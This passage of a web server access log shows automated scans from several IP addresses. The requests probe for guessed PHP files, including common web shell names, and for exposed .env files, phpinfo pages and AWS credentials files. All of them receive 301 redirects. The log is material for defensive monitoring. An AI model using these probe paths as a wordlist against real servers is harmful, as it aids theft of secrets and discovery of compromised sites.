/wp-load.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:39 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:40 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:43 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:44 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:45 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:46 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:48 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:51 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:53 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:54 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:56 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:59 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:00 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:01 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:03 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:05 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:08 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:10 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:16 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:18 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:22 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:24 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:26 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:29 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:33 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:34 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:35 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:36 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:37 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:38 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:39 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:41 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:43 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:45 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:46 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:48 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:50 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:52 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:55 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:58 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:05:59 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:01 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:02 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:03 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:06 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:08 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:10 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:11 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:13 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:14 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:16 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:17 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:18 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:21 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:22 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:24 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:25 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:26 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:28 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:29 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:31 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:32 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:33 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:36 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:38 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:06:39 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 185.128.9.233 - - [01/May/2025:19:25:06 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.128.9.233 - - [01/May/2025:19:25:12 -0400] "GET /.env.save HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.128.9.233 - - [01/May/2025:19:25:13 -0400] "GET /.env.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.128.9.233 - - [01/May/2025:19:25:15 -0400] "GET /beta/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.128.9.233 - - [01/May/2025:19:25:16 -0400] "GET /prod/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.128.9.233 - - [01/May/2025:19:25:17 -0400] "GET /env.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.128.9.233 - - [01/May/2025:19:25:18 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.128.9.233 - - [01/May/2025:19:25:21 -0400] "GET /phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.128.9.233 - - [01/May/2025:19:25:22 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 47.253.58.192 - - [01/May/2025:19:51:40 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" 195.211.191.170 - - [01/May/2025:19:56:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:03 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:04 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:06 -0400] "GET /phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:07 -0400] "GET /php_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:09 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:10 -0400] "GET /_profiler/phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:12 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:16 -0400] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:17 -0400] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:19 -0400] "GET /.env.local HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:21 -0400] "GET /api/shared/config/config.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:22 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:26 -0400] "GET /register/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:27 -0400] "GET /contact/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:29 -0400] "GET /.AWS_/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:30 -0400] "GET /karma.conf.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:32 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 195.211.191.170 - - [01/May/2025:19:57:33 -0400] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"